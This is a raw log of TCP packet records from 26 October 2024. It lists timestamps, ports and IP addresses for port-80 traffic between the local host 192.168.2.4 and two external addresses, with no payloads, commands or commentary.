Oct 26, 2024 05:55:06.514107943 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.514118910 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.514125109 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.514136076 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.514152050 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.514163971 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.514168978 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.514188051 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.514234066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.522027969 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.522063971 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.522078991 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.522104025 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.522110939 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.522125006 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.522135019 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.522142887 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.522154093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.522181988 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.522285938 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.629159927 CEST	80	49781	185.215.113.43	192.168.2.4
Oct 26, 2024 05:55:06.629340887 CEST	49781	80	192.168.2.4	185.215.113.43
Oct 26, 2024 05:55:06.638710022 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.638727903 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.638739109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.638812065 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.638828039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.638839960 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.638842106 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.638859987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.638904095 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.638916969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.639025927 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639039040 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639075994 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639075994 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.639084101 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.639123917 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.639147997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639161110 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639189959 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.639215946 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.639234066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639249086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639293909 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.639328957 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639370918 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639370918 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.639384985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639416933 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.639467001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639552116 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.639556885 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639573097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639611959 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.639646053 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639662027 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.639700890 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.639862061 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.640135050 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.678874016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.678889036 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.678910971 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.678927898 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.678941011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.678951025 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.678957939 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.678966999 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.678997993 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.679145098 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.679168940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.679210901 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.795370102 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795440912 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795456886 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795459986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.795473099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795480967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.795490026 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795506954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.795526028 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.795536041 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.795540094 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795552969 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795592070 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.795636892 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795685053 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.795691967 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795737028 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.795748949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795768023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795793056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.795804024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.795851946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795865059 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795917034 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.795934916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.795980930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.796024084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.796036959 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.796071053 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.796077967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.796091080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.796130896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.796133041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.796148062 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.796189070 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.796257973 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.796308994 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.796309948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.796324968 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.796349049 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.796355009 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.796367884 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.796399117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.835869074 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.835886955 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.835902929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.835916996 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.835997105 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.836010933 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.836102962 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.836138964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.836138964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.836169004 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.836204052 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.836216927 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.836226940 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.836273909 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.836292028 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.836334944 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.952228069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952256918 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952270031 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952279091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952287912 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.952316999 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.952326059 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952361107 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.952362061 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952373981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952430010 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952451944 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.952512026 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952544928 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952547073 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.952554941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952573061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.952595949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.952595949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.952680111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952724934 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.952744961 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952758074 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952781916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.952792883 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.952805042 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.952820063 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.953010082 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.953021049 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.953031063 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.953058004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.953090906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.953094959 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.953233957 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.992568016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.992630959 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.992717981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.992727995 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.992738962 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.992749929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.992763996 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.992774010 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.992778063 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.992786884 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.992835045 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.992940903 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.992984056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.992984056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.993012905 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.993036032 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.993062019 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.993073940 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:06.993099928 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:06.993136883 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109105110 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109179974 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109235048 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109266043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109270096 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109318018 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109323978 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109373093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109376907 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109407902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109441042 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109460115 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109476089 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109483957 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109509945 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109515905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109544992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109544992 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109579086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109586954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109621048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109632015 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109662056 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109678984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109704018 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109715939 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109745026 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109785080 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109796047 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109823942 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109860897 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109901905 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109930038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.109932899 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.109972000 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.149961948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.150032043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.150068998 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.150099039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.150122881 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.150135994 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.150161982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.150171041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.150177956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.150208950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.150226116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.150263071 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.150274038 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.150298119 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.150311947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.150332928 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.150342941 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.150384903 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.150423050 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.150434017 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.150465012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.265913010 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.265974998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266047955 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266078949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266093016 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266119003 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266129971 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266166925 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266174078 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266197920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266211033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266238928 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266251087 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266278028 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266283035 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266308069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266321898 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266350031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266357899 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266393900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266400099 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266433954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266438961 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266479015 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266489983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266525984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266529083 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266558886 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266567945 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266602039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.266609907 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.266650915 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.306642056 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.306704044 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.306813955 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.306843042 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.306858063 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.306878090 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.306881905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.306914091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.306921959 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.306957960 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.306965113 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.307001114 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.307009935 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.307035923 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.307045937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.307071924 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.307080984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.307106972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.307212114 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.307243109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.307256937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.307281971 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.307399035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.307431936 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.307454109 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.307466030 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.307476997 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.307501078 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.307504892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.307540894 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.422894001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.422930002 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.422960997 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.422982931 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.423037052 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.423072100 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.423079014 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.423110962 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.423114061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.423141003 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.423155069 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.423182011 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.423201084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.423238993 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.423243999 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.423268080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.423305988 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.423319101 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.423336983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.423372984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.423383951 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.423408031 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.423410892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.423444033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.423449039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.423495054 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.463390112 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.463422060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:07.463448048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:07.463455915 CEST	80	49745	185.215.113.206	192.168.2.4
